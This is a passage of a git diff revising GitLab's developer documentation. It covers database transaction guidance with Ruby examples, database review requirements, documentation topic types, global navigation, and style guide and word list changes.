+issue = Issue.find(10)
+project = issue.project
+
+ApplicationRecord.transaction do
+ issue.update!(title: 'updated title')
+ project.update!(last_update_at: Time.now)
+end
+```
+
+The database will try to acquire the `FOR UPDATE` lock for the referenced `issue` and `project` records. In our case, we have two competing transactions for these locks, one of them will successfully acquire them. The other transaction will have to wait in the lock queue until the first transaction finishes. The execution of the second transaction is blocked at this point.
+
+## Transaction speed
+
+To prevent lock contention and maintain stable application performance, the transaction block should finish as fast as possible. When a transaction acquires locks, it will hold on to them until the transaction finishes.
+
+Apart from application performance, long-running transactions can also affect the application upgrade processes by blocking database migrations.
+
+### Dangerous example: 3rd party API calls
+
+Consider the following example:
+
+```ruby
+member = Member.find(5)
+
+Member.transaction do
+ member.update!(notification_email_sent: true)
+
+ member.send_notification_email
+end
+```
+
+Here, we ensure that the `notification_email_sent` column is updated only when the `send_notification_email` method succeeds. The `send_notification_email` method executes a network request to an email sending service. If the underlying infrastructure does not specify timeouts or the network call takes too long time, the database transaction will stay open.
+
+Ideally, a transaction should only contain database statements.
+
+Avoid doing in a `transaction` block:
+
+- External network requests such as: triggering Sidekiq jobs, sending emails, HTTP API calls and running database statements using a different connection.
+- File system operations.
+- Long, CPU intensive computation.
+- Calling `sleep(n)`.
+
+## Explicit model referencing
+
+If a transaction modifies records from the same database table, it's advised to use the `Model.transaction` block:
+
+```ruby
+build_1 = Ci::Build.find(1)
+build_2 = Ci::Build.find(2)
+
+Ci::Build.transaction do
+ build_1.touch
+ build_2.touch
+end
+```
+
+The transaction above will use the same database connection for the transaction as the models in the `transaction` block. In a multi-database environment the following example would be dangerous:
+
+```ruby
+# `ci_builds` table is located on another database
+class Ci::Build < CiDatabase
+end
+
+build_1 = Ci::Build.find(1)
+build_2 = Ci::Build.find(2)
+
+ActiveRecord::Base.transaction do
+ build_1.touch
+ build_2.touch
+end
+```
+
+The `ActiveRecord::Base` class uses a different database connection than the `Ci::Build` records. The two statements in the transaction block will not be part of the transaction and will not be rolled back in case something goes wrong. They act as 3rd part calls.
diff --git a/doc/development/database_review.md b/doc/development/database_review.md
index a25714ca6cf..88639758a9d 100644
--- a/doc/development/database_review.md
+++ b/doc/development/database_review.md
@@ -25,7 +25,7 @@ A database review is required for:
generally up to the author of a merge request to decide whether or
not complex queries are being introduced and if they require a
database review.
-- Changes in usage data metrics that use `count`, `distinct_count` and `estimate_batch_distinct_count`.
+- Changes in Service Data metrics that use `count`, `distinct_count` and `estimate_batch_distinct_count`.
These metrics could have complex queries over large tables.
See the [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
for implementation details.
@@ -43,7 +43,7 @@ If your merge request description does not include these items, the review will
If new migrations are introduced, in the MR **you are required to provide**:
-- The output of both migrating and rolling back for all migrations
+- The output of both migrating (`db:migrate`) and rolling back (`db:rollback`) for all migrations.
If new queries have been introduced or existing queries have been updated, **you are required to provide**:
@@ -104,7 +104,7 @@ the following preparations into account.
`db/schema_migrations` were added or removed.
- Make migrations reversible by using the `change` method or include a `down` method when using `up`.
- Include either a rollback procedure or describe how to rollback changes.
-- Add the output of both migrating and rolling back for all migrations into the MR description.
+- Add the output of both migrating (`db:migrate`) and rolling back (`db:rollback`) for all migrations into the MR description.
- Ensure the down method reverts the changes in `db/structure.sql`.
- Update the migration output whenever you modify the migrations during the review process.
- Add tests for the migration in `spec/migrations` if necessary. See [Testing Rails migrations at GitLab](testing_guide/testing_migrations_guide.md) for more details.
@@ -117,6 +117,9 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac
- If the execution from `#database-lab` is longer than `1h`, the index should be moved to a [post-migration](post_deployment_migrations.md).
Keep in mind that in this case you may need to split the migration and the application changes in separate releases to ensure the index
will be in place when the code that needs it will be deployed.
+- Trigger the [database testing](../architecture/blueprints/database_testing/index.md) job (`db:gitlabcom-database-testing`) in the `test` stage.
+ - This job runs migrations in a production-like environment (similar to `#database_lab`) and posts to the MR its findings (queries, runtime, size change).
+ - Review migration runtimes and any warnings.
#### Preparation when adding or modifying queries
@@ -148,7 +151,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac
- Provide a public link to the plan from either:
- [postgres.ai](https://postgres.ai/): Follow the link in `#database-lab` and generate a shareable, public link
by clicking the **Share** button in the upper right corner.
- - [explain.depesz.com](https://explain.depesz.com): Paste both the plan and the query used in the form.
+ - [explain.depesz.com](https://explain.depesz.com) or [explain.dalibo.com](https://explain.dalibo.com): Paste both the plan and the query used in the form.
- When providing query plans, make sure it hits enough data:
- You can use a GitLab production replica to test your queries on a large scale,
through the `#database-lab` Slack channel or through [ChatOps](understanding_explain_plans.md#chatops).
diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md
index 07a29b17ddc..3543345aa34 100644
--- a/doc/development/deprecation_guidelines/index.md
+++ b/doc/development/deprecation_guidelines/index.md
@@ -14,8 +14,7 @@ changes to GitLab features.
It's important to understand the difference between **deprecation** and
**removal**:
-**Deprecation** is the process of flagging/marking/announcing that a feature
-is scheduled for removal in a future version of GitLab.
+**Deprecation** is the process of flagging/marking/announcing that a feature is no longer fully supported and may be removed in a future version of GitLab.
**Removal** is the process of actually removing a feature that was previously
deprecated.
@@ -31,7 +30,7 @@ Deprecations should be announced via [release posts](https://about.gitlab.com/ha
Generally, feature or configuration can be removed/changed only on major release.
It also should be [deprecated in advance](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations).
-For API removals, see the [GraphQL](../../api/graphql/index.md#deprecation-and-removal-process) and [GitLab API](../../api/README.md#compatibility-guidelines) guidelines.
+For API removals, see the [GraphQL](../../api/graphql/index.md#deprecation-and-removal-process) and [GitLab API](../../api/index.md#compatibility-guidelines) guidelines.
For configuration removals, see the [Omnibus deprecation policy](https://docs.gitlab.com/omnibus/package-information/deprecation_policy.html).
diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md
index 12a1912dd25..91215ca21b4 100644
--- a/doc/development/documentation/index.md
+++ b/doc/development/documentation/index.md
@@ -115,15 +115,15 @@ each page should have a metadata tag called `type`. It can be one or more of the
following:
- `index`: It consists mostly of a list of links to other pages.
- [Example page](../../README.md).
+ [Example page](../../index.md).
- `concepts`: The background or context of a subject.
[Example page](../../topics/autodevops/index.md).
- `howto`: Specific use case instructions.
- [Example page](../../ssh/README.md).
+ [Example page](../../ssh/index.md).
- `tutorial`: Learn a process/concept by doing.
[Example page](../../gitlab-basics/start-using-git.md).
- `reference`: A collection of information used as a reference to use a feature
- or a functionality. [Example page](../../ci/yaml/README.md).
+ or a functionality. [Example page](../../ci/yaml/index.md).
### Redirection metadata
@@ -395,7 +395,7 @@ This is preferred over static paths, as the helper also works on instances insta
### GitLab `/help` tests
Several [RSpec tests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/features/help_pages_spec.rb)
-are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) works correctly from `/help`.
+are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../index.md) works correctly from `/help`.
For example, [GitLab.com's `/help`](https://gitlab.com/help).
## Docs site architecture
@@ -475,12 +475,12 @@ If you want to know the in-depth details, here's what's really happening:
The following GitLab features are used among others:
-- [Manual actions](../../ci/yaml/README.md#whenmanual)
-- [Multi project pipelines](../../ci/multi_project_pipelines.md)
+- [Manual actions](../../ci/yaml/index.md#whenmanual)
+- [Multi project pipelines](../../ci/pipelines/multi_project_pipelines.md)
- [Review Apps](../../ci/review_apps/index.md)
-- [Artifacts](../../ci/yaml/README.md#artifacts)
+- [Artifacts](../../ci/yaml/index.md#artifacts)
- [Specific runner](../../ci/runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
-- [Pipelines for merge requests](../../ci/merge_request_pipelines/index.md)
+- [Pipelines for merge requests](../../ci/pipelines/merge_request_pipelines.md)
## Testing
@@ -556,6 +556,3 @@ padding. The padding is added around the element, enlarging the screenshot area.
#### Live example
Please use `spec/docs_screenshots/container_registry_docs.rb` as a guide and as an example to create your own scripts.
-
-<!-- This redirect file can be deleted after February 1, 2021. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/documentation/site_architecture/global_nav.md b/doc/development/documentation/site_architecture/global_nav.md
index aeaf12e23d1..3845586ce60 100644
--- a/doc/development/documentation/site_architecture/global_nav.md
+++ b/doc/development/documentation/site_architecture/global_nav.md
@@ -12,21 +12,40 @@ description: "Learn how GitLab docs' global navigation works and how to add new
> - [Per-project](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/498) navigation added in GitLab 12.2.
> - [Unified global navigation](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1482) added in GitLab 13.11.
-Global navigation (the left-most pane in our three pane documentation) provides:
+Global navigation is the left-most pane in the documentation. You can use the
+"global nav" to browse the content.
-- A high-level grouped view of product features.
-- The ability to discover new features by browsing the menu structure.
-- A way to allow the reader to focus on product areas.
-- The ability to refine landing pages, so they don't have to do all the work of surfacing
- every page contained within the documentation.
+Research shows that people use Google to search for GitLab product documentation. When they land on a result,
+we want them to find topics nearby that are related to the content they're reading. The global nav provides this information.
-## Adding new items
+At the highest level, our global nav is workflow-based. Navigation needs to help users build a mental model of how to use GitLab.
+The levels under each of the higher workflow-based topics are the names of features.
+For example:
+
+**Use GitLab** (_workflow_) **> Build your application** (_workflow_) **> CI/CD** (_feature_) **> Pipelines** (_feature)
+
+## Choose the right words for your navigation entry
+
+Before you add an item to the left nav, choose the parts of speech you want to use.
+
+The nav entry should match the page title. However, if the title is too long,
+when you shorten the phrase, use either:
+
+- A noun, like **Merge requests**.
+- An active verb, like **Install GitLab** or **Get started with runners**.
+
+Use a phrase that clearly indicates what the page is for. For example, **Get started** is not
+as helpful as **Get started with runners**.
+
+## Add a navigation entry
+
+All topics should be included in the left nav.
To add a topic to the global nav, edit
[`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/content/_data/navigation.yaml)
and add your item.
-All new pages need a new navigation item. Without a navigation, the page becomes "orphaned". That
+All new pages need a navigation item. Without a navigation, the page becomes "orphaned." That
is:
- The navigation shuts when the page is opened, and the reader loses their place.
@@ -93,7 +112,7 @@ for clarity.
To see the improvements planned, check the
[global nav epic](https://gitlab.com/groups/gitlab-org/-/epics/1599).
-**Do not** [add items](#adding-new-items) to the global nav without
+**Do not** [add items](#add-a-navigation-entry) to the global nav without
the consent of one of the technical writers.
## Composition
diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md
index d410d77a1a0..a1e08a9c19b 100644
--- a/doc/development/documentation/site_architecture/index.md
+++ b/doc/development/documentation/site_architecture/index.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) project hosts
the repository which is used to generate the GitLab documentation website and
-is deployed to <https://docs.gitlab.com>. It uses the [Nanoc](https://nanoc.ws/)
+is deployed to <https://docs.gitlab.com>. It uses the [Nanoc](https://nanoc.app/)
static site generator.
## Architecture
@@ -146,7 +146,7 @@ Read more about the [deployment process](deployment_process.md).
The easiest way to achieve something similar to
[Jekyll's data files](https://jekyllrb.com/docs/datafiles/) in Nanoc is by
-using the [`@items`](https://nanoc.ws/doc/reference/variables/#items-and-layouts)
+using the [`@items`](https://nanoc.app/doc/reference/variables/#items-and-layouts)
variable.
The data file must be placed inside the `content/` directory and then it can
diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md
index 871fb26ce08..ac934673ee2 100644
--- a/doc/development/documentation/structure.md
+++ b/doc/development/documentation/structure.md
@@ -7,61 +7,40 @@ description: What to include in GitLab documentation pages.
# Documentation topic types
-At GitLab, we have not traditionally used topic types. However, we are starting to
-move in this direction, and we now use four topic types:
+At GitLab, we have not traditionally used types for our content. However, we are starting to
+move in this direction, and we now use four primary topic types:
- [Concept](#concept)
- [Task](#task)
- [Reference](#reference)
- [Troubleshooting](#troubleshooting)
-Each page contains multiple topic types. For example,
-a page with the title `Pipelines`, which is generated from a file called `index.md`,
-can include a concept and multiple task and reference topics.
+In general, each page in our docset contains multiple topics. (Each heading indicates a new topic.)
+Each topic on a page should be a specific topic type. For example,
+a page with the title `Pipelines` can include topics that are concepts and tasks.
-GitLab also uses high-level landing pages.
-
-## Landing pages
-
-Landing pages are topics that group other topics and help a user to navigate a section.
-
-Users who are using the in-product help do not have a left nav,
-and need these topics to navigate the documentation.
-
-These topics can also help other users find the most important topics
-in a section.
-
-Landing page topics should be in this format:
-
-```markdown
-# Title (a noun, like "CI/CD or "Analytics")
-
-Brief introduction to the concept or product area.
-Include the reason why someone would use this thing.
-
-- Bulleted list of important related topics.
-- These links are needed because users of in-product help do not have left navigation.
-```
+A page might also contain only one type of information. These pages are generally one of our
+[other content types](#other-types-of-content).
## Concept
-A concept topic introduces a single feature or concept.
+A concept introduces a single feature or concept.
A concept should answer the questions:
- What is this?
- Why would I use it?
-Think of everything someone might want to know if they've never heard of this topic before.
+Think of everything someone might want to know if they've never heard of this concept before.
Don't tell them **how** to do this thing. Tell them **what it is**.
-If you start describing another topic, start a new concept and link to it.
+If you start describing another concept, start a new concept and link to it.
-Also, do not use "Overview" or "Introduction" for the topic title. Instead,
+Also, do not use **Overview** or **Introduction** for the title. Instead,
use a noun or phrase that someone would search for.
-Concept topics should be in this format:
+Concepts should be in this format:
```markdown
# Title (a noun, like "Widgets")
@@ -71,14 +50,14 @@ A paragraph that explains what this thing is.
Another paragraph that explains what this thing is.
Remember, if you start to describe about another concept, stop yourself.
-Each concept topic should be about one concept only.
+Each concept should be about one concept only.
```
## Task
-A task topic gives instructions for how to complete a procedure.
+A task gives instructions for how to complete a procedure.
-Task topics should be in this format:
+Tasks should be in this format:
```markdown
# Title (starts with an active verb, like "Create a widget" or "Delete a widget")
@@ -113,20 +92,21 @@ Prerequisites:
To create an issue:
-1. Go to **Issues > List**.
-1. In the top right, select **New issue**.
-1. Complete the fields. (If you have a reference topic that lists each field, link to it here.)
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Issues > List**.
+1. In the top right corner, select **New issue**.
+1. Complete the fields. (If you have reference content that lists each field, link to it here.)
1. Select **Create issue**.
The issue is created. You can view it by going to **Issues > List**.
```
-If you have several tasks on a page that share prerequisites, you can make a
-reference topic with the title **Prerequisites**, and link to it.
+If you have several tasks on a page that share prerequisites, you can use the title
+**Prerequisites**, and link to it.
## Reference
-A reference topic provides information in an easily-scannable format,
+Reference information should be in an easily-scannable format,
like a table or list. It's similar to a dictionary or encyclopedia entry.
```markdown
@@ -139,18 +119,18 @@ Introductory sentence.
| **Name** | Descriptive sentence about the setting. |
```
-If a feature or concept has its own prerequisites, you can use the reference
-topic type to create a **Prerequisites** header for the information.
+If a feature or concept has its own prerequisites, you can use reference
+content to create a **Prerequisites** header for the information.
## Troubleshooting
-Troubleshooting topics can be one of two categories:
+Troubleshooting can be one of two categories:
-- **Troubleshooting task.** This topic is written the same as a [standard task topic](#task).
+- **Troubleshooting task.** This information is written the same way as a [standard task](#task).
For example, "Run debug tools" or "Verify syntax."
-- **Troubleshooting reference.** This topic has a specific format.
+- **Troubleshooting reference.** This information has a specific format.
-Troubleshooting reference topics should be in this format:
+Troubleshooting reference information should be in this format:
```markdown
# Title (the error message or a description of it)
@@ -162,25 +142,125 @@ This issue occurs when...
The workaround is...
```
-For the topic title:
+For the heading:
-- Consider including at least a partial error message in the title.
+- Consider including at least a partial error message.
- Use fewer than 70 characters.
-Remember to include the complete error message in the topics content if it is
-not complete in the title.
+If you do not put the full error in the title, include it in the body text.
+
+## Other types of content
+
+There are other types of content in the GitLab documentation that don't
+classify as one of the four primary [topic types](#documentation-topic-types).
+These include:
+
+- [Tutorials](#tutorials)
+- [Get started pages](#get-started)
+- [Topics and resources pages](#topics-and-resources-pages)
+
+In most cases, these pages are standalone.
+
+### Tutorials
+
+A tutorial is an end-to-end walkthrough of a complex workflow or scenario.
+In general, you might consider using a tutorial when:
+
+- The workflow requires a number of sequential steps where each step consists
+ of sub-steps.
+- The steps cover a variety of GitLab features or third-party tools.
+
+Tutorials are learning aids that complement our core documentation.
+They do not introduce new features.
+Always use the primary [topic types](#documentation-topic-types) to document new features.
+
+Tutorials should be in this format:
+
+```markdown
+# Title (starts with "Tutorial:" followed by an active verb, like "Tutorial: Create a website")
+
+A paragraph that explains what the tutorial does, and the expected outcome.
+
+To create a website:
+
+- [Step 1: Do the first task](#do-the-first-task)
+- [Step 2: Do the second task](#do-the-second-task)
+
+Prerequisites (optional):
+
+- Thing 1
+- Thing 2
+- Thing 3
+
+## Do the first task
+
+To do step 1:
+
+1. First step.
+2. Another step.
+3. Another step.
+
+## Do the second task
+
+Before you begin, make sure you have [done the first task](#do-the-first-task).
+
+To do step 2:
+
+1. First step.
+2. Another step.
+3. Another step.
+```
+
+### Get started
+
+A get started page is a set of steps to help a user get set up
+quickly to use a single GitLab feature or tool.
+It might consist of more than one task.
+
+Get started pages should be in this format:
+
+```markdown
+# Title ("Get started with <feature>")
+
+Complete the following steps to ... .
+
+1. First step.
+1. Another step.
+1. Another step.
+
+If you need to add more than one task,
+consider using subsections for each distinct task.
+```
-## Other information on a topic
+### Topics and resources pages
-Topics include other information.
+This is a page with a list of links that point to important sections
+of documentation for a specific GitLab feature or tool.
-For example:
+We do not encourage the use of these types of pages.
+Lists like this can get out of date quickly and offer little value to users.
+We've included this type here because:
-- Each topic must have a [tier badge](styleguide/index.md#product-tier-badges).
-- New topics must have information about the
- [GitLab version where the feature was introduced](styleguide/index.md#where-to-put-version-text).
+- There are existing pages in the documentation that follow this format,
+ and they should be standardized.
+- They can sometimes help navigate a complex section of the documentation.
+
+If you come across a page like this
+or you have to create one, use this format:
+
+```markdown
+# Title ("Topics and resources for <feature>")
+
+Brief sentence to describe the feature.
+
+Refer to these resources for more information about <this feature>:
+
+- Link 1
+- Link 2
+- Link 3
+```
-### Help and feedback section
+## Help and feedback section
This section ([introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/319) in GitLab 11.4)
is displayed at the end of each document and can be omitted by adding a key into
@@ -195,7 +275,7 @@ feedback: false
The default is to leave it there. If you want to omit it from a document, you
must check with a technical writer before doing so.
-#### Disqus
+### Disqus
We also have integrated the docs site with Disqus (introduced by
[!151](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/151)),
@@ -210,7 +290,7 @@ comments: false
---
```
-We're hiding comments only in main index pages, such as [the main documentation index](../../README.md),
+We're hiding comments only in main index pages, such as [the main documentation index](../../index.md),
since its content is too broad to comment on. Before omitting Disqus, you must
check with a technical writer.
@@ -221,7 +301,7 @@ The click events in the feedback section are tracked with Google Tag Manager.
The conversions can be viewed on Google Analytics by navigating to
**Behavior > Events > Top events > docs**.
-### Guidelines for good practices
+## Guidelines for good practices
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36576/) in GitLab 13.2 as GitLab Development documentation.
diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md
index 7787366dbf4..a5345f3b52d 100644
--- a/doc/development/documentation/styleguide/index.md
+++ b/doc/development/documentation/styleguide/index.md
@@ -193,7 +193,7 @@ included in backticks. For example:
We include concept and task topic types in the same larger topic.
-In general, we have one topic that's a [landing page](../structure.md#landing-pages).
+In general, we have one topic that's a landing page.
Below that topic in the left nav are individual topics. Each of these include a concept
and multiple related tasks, reference, and troubleshooting topics.
@@ -304,7 +304,6 @@ GitLab documentation should be clear and easy to understand. Avoid unnecessary w
- Be clear, concise, and stick to the goal of the topic.
- Write in US English with US grammar. (Tested in [`British.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/British.yml).)
-- Use [inclusive language](#inclusive-language).
- Rewrite to avoid wordiness:
- there is
- there are
@@ -385,80 +384,6 @@ references to user interface elements. For example:
- To sign in to product X, enter your credentials, and then select **Log in**.
-### Inclusive language
-
-We strive to create documentation that's inclusive. This section includes
-guidance and examples for these categories:
-
-- [Gender-specific wording](#avoid-gender-specific-wording).
- (Tested in [`InclusionGender.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionGender.yml).)
-- [Ableist language](#avoid-ableist-language).
- (Tested in [`InclusionAbleism.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionAbleism.yml).)
-- [Cultural sensitivity](#culturally-sensitive-language).
- (Tested in [`InclusionCultural.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionCultural.yml).)
-
-We write our developer documentation with inclusivity and diversity in mind. This
-page is not an exhaustive reference, but describes some general guidelines and
-examples that illustrate some best practices to follow.
-
-#### Avoid gender-specific wording
-
-When possible, use gender-neutral pronouns. For example, you can use a singular
-[they](https://developers.google.com/style/pronouns#gender-neutral-pronouns) as
-a gender-neutral pronoun.
-
-Avoid the use of gender-specific pronouns, unless referring to a specific person.
-
-<!-- vale gitlab.InclusionGender = NO -->
-
-| Use | Avoid |
-|-----------------------------------|---------------------------------|
-| People, humanity | Mankind |
-| GitLab Team Members | Manpower |
-| You can install; They can install | He can install; She can install |
-
-<!-- vale gitlab.InclusionGender = YES -->
-
-If you need to set up [Fake user information](#fake-user-information), use
-diverse or non-gendered names with common surnames.
-
-#### Avoid ableist language
-
-Avoid terms that are also used in negative stereotypes for different groups.
-
-<!-- vale gitlab.InclusionAbleism = NO -->
-
-| Use | Avoid |
-|------------------------|----------------------|
-| Check for completeness | Sanity check |
-| Uncertain outliers | Crazy outliers |
-| Slows the service | Cripples the service |
-| Placeholder variable | Dummy variable |
-| Active/Inactive | Enabled/Disabled |
-| On/Off | Enabled/Disabled |
-
-<!-- vale gitlab.InclusionAbleism = YES -->
-
-Credit: [Avoid ableist language](https://developers.google.com/style/inclusive-documentation#ableist-language)
-in the Google Developer Style Guide.
-
-#### Culturally sensitive language
-
-Avoid terms that reflect negative cultural stereotypes and history. In most
-cases, you can replace terms such as `master` and `slave` with terms that are
-more precise and functional, such as `primary` and `secondary`.
-
-<!-- vale gitlab.InclusionCultural = NO -->
-
-| Use | Avoid |
-|----------------------|-----------------------|
-| Primary / secondary | Master / slave |
-| Allowlist / denylist | Blacklist / whitelist |
-
-<!-- vale gitlab.InclusionCultural = YES -->
-
-For more information see the [Internet Draft specification](https://tools.ietf.org/html/draft-knodel-terminology-02).
-
### Fake user information
You may need to include user information in entries such as a REST call or user profile.
@@ -574,7 +499,7 @@ Follow these guidelines for punctuation:
| Do not use tabs for indentation. Use spaces instead. You can configure your code editor to output spaces instead of tabs when pressing the tab key. | --- |
| Use serial commas (_Oxford commas_) before the final _and_ or _or_ in a list of three or more items. (Tested in [`OxfordComma.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/OxfordComma.yml).) | _You can create new issues, merge requests, and milestones._ |
| Always add a space before and after dashes when using it in a sentence (for replacing a comma, for example). | _You should try this - or not._ |
-| Always use lowercase after a colon. | Linked issues: a way to create a relationship between issues._ |
+| When a colon is part of a sentence, always use lowercase after the colon. | _Linked issues: a way to create a relationship between issues._ |
<!-- vale gitlab.Repetition = YES -->
@@ -812,6 +737,35 @@ page), use these phrases:
| No | `**{dotted-circle}** No` | **{dotted-circle}** No |
| Yes | `**{check-circle}** Yes` | **{check-circle}** Yes |
+### Footnotes
+
+To indicate a footnote, use the HTML tag `<sup>` with a number.
+Put the tag at the end of the sentence or term.
+
+For the footnotes below the table, use a bold number followed by a sentence.
+
+For example:
+
+```markdown
+| App name | Description |
+|:---------|:---------------------------------|
+| App A | Description text. <sup>1</sup> |
+| App B | Description text. <sup>2</sup> |
+
+1. This is the footnote.
+1. This is the other footnote.
+```
+
+This text renders this output:
+
+| App name | Description |
+|:---------|:---------------------------------|
+| App A | Description text. <sup>1</sup> |
+| App B | Description text. <sup>2</sup> |
+
+1. This is the footnote.
+1. This is the other footnote.
+
## Quotes
Valid for Markdown content only, not for front matter entries:
@@ -1093,21 +1047,23 @@ elements:
To be consistent, use this format when you write about UI navigation.
-1. On the top bar, select **Menu > Project** and find your project.
+1. On the top bar, select **Menu > Projects** and find your project.
1. On the left sidebar, select **Settings > CI/CD**.
1. Expand **General pipelines**.
Another example:
-1. On the top bar, select **Menu > Group** and find your group.
+1. On the top bar, select **Menu > Groups** and find your group.
1. On the left sidebar, select **Settings > CI/CD**.
1. Expand **General pipelines**.
An Admin Area example:
-`1. On the top bar, select **Menu >** **{admin}** **Admin**.`
+```markdown
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+```
-This text generates this HTML:
+This text renders this output:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
@@ -1510,25 +1466,6 @@ It renders on the GitLab documentation site as:
To maintain consistency through GitLab documentation, use these styles and terms.
-### Merge requests (MRs)
-
-Merge requests allow you to exchange changes you made to source code and
-collaborate with other people on the same project.
-
-- Use lowercase _merge requests_ regardless of whether referring to the feature
- or individual merge requests.
-
-As noted in the GitLab [Writing Style Guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines),
-if you use the _MR_ acronym, expand it at least once per document page.
-Typically, the first use would be phrased as _merge request (MR)_ with subsequent
-instances being _MR_.
-
-Examples:
-
-- "We prefer GitLab merge requests".
-- "Open a merge request to fix a broken link".
-- "After you open a merge request (MR), submit your MR for review and approval".
-
### Describe UI elements
Follow these styles when you're describing user interface elements in an
@@ -1558,7 +1495,7 @@ elements:
## GitLab versions
-GitLab product documentation pages (not including [Contributor and Development](../../README.md)
+GitLab product documentation pages (not including [Contributor and Development](../../index.md)
pages in the `/development` directory) can include version information to help
users be aware of recent improvements or additions.
@@ -1594,7 +1531,8 @@ the section. The version information must:
- Be surrounded by blank lines.
- Start with `>`. If there are multiple bullets, each line must start with `> -`.
- The string must include these words in this order (capitalization doesn't matter):
- - `introduced`, `deprecated`, `moved`
+ - `introduced`, `deprecated`, `changed`, `moved`, `recommended` (as in the
+ [feature flag documentation](../feature_flags.md)), `removed`, or `renamed`
- `in` or `to`
- `GitLab`
- Whenever possible, include a link to the completed issue, merge request, or epic
@@ -1757,7 +1695,7 @@ badges and tooltips (`<span class="badge-trigger free">`).
| _Only_ GitLab Ultimate SaaS (no self-managed instances) | `**(ULTIMATE SAAS)**` |
Topics that mention the `gitlab.rb` file are referring to
-self-managed instances of GitLab. To prevent confusion, include the relevant `TIER ONLY`
+self-managed instances of GitLab. To prevent confusion, include the relevant `TIER SELF`
tier badge on the highest applicable heading level on
the page.
diff --git a/doc/development/documentation/styleguide/word_list.md b/doc/development/documentation/styleguide/word_list.md
index fd8766bbfb6..3fba9078bab 100644
--- a/doc/development/documentation/styleguide/word_list.md
+++ b/doc/development/documentation/styleguide/word_list.md
@@ -9,6 +9,11 @@ description: 'Writing styles, markup, formatting, and other standards for GitLab
To help ensure consistency in the documentation, follow this guidance.
+For guidance not on this page, we defer to these style guides:
+
+- [Microsoft Style Guide](https://docs.microsoft.com/en-us/style-guide/welcome/)
+- [Google Developer Documentation Style Guide](https://developers.google.com/style)
+
<!-- vale off -->
<!-- markdownlint-disable -->
@@ -22,7 +27,13 @@ Use **administration**, **administrator**, **administer**, or **Admin Area** ins
## allow, enable
-Try to avoid, unless you are talking about security-related features. For example, instead of "This feature allows you to create a pipeline," use "Use this feature to create a pipeline." This phrasing is more active and is from the user perspective, rather than the person who implemented the feature. [View details](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/a/allow-allows).
+Try to avoid, unless you are talking about security-related features. For example:
+
+- Avoid: This feature allows you to create a pipeline.
+- Use instead: Use this feature to create a pipeline.
+
+This phrasing is more active and is from the user perspective, rather than the person who implemented the feature.
+[View details in the Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/a/allow-allows).
## and/or
@@ -32,25 +43,49 @@ Instead of **and/or**, use or or rewrite the sentence to spell out both options.
Try to avoid extra words when referring to an example or table in a documentation page, but if required, use **following** instead.
+## blacklist
+
+Do not use. Another option is **denylist**. ([Vale](../testing.md#vale) rule: [`InclusionCultural.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionCultural.yml))
+
## currently
Do not use when talking about the product or its features. The documentation describes the product as it is today. ([Vale](../testing.md#vale) rule: [`CurrentStatus.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/CurrentStatus.yml))
## Developer
-When writing about the Developer role, use a capital "D." Do not use the phrase, "if you are a developer"
-to mean someone who is assigned the Developer role. Instead, write it out. "If you are assigned the Developer role..."
+When writing about the Developer role:
-Do not use "Developer permissions." A user who is assigned the Developer role has a set of associated permissions.
+- Use a capital **D**.
+- Do not use the phrase, **if you are a developer** to mean someone who is assigned the Developer
+ role. Instead, write it out. For example, **if you are assigned the Developer role**.
+- To describe a situation where the Developer role is the minimum required:
+ - Avoid: **the Developer role or higher**
+ - Use instead: **at least the Developer role**
+
+Do not use **Developer permissions**. A user who is assigned the Developer role has a set of associated permissions.
+
+## disable
+
+See [the Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/d/disable-disabled) for guidance.
+Use **inactive** or **off** instead. ([Vale](../testing.md#vale) rule: [`InclusionAbleism.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionAbleism.yml))
## easily
-Do not use. If the user doesn't find the process to be these things, we lose their trust.
+Do not use. If the user doesn't find the process to be easy, we lose their trust.
## e.g.
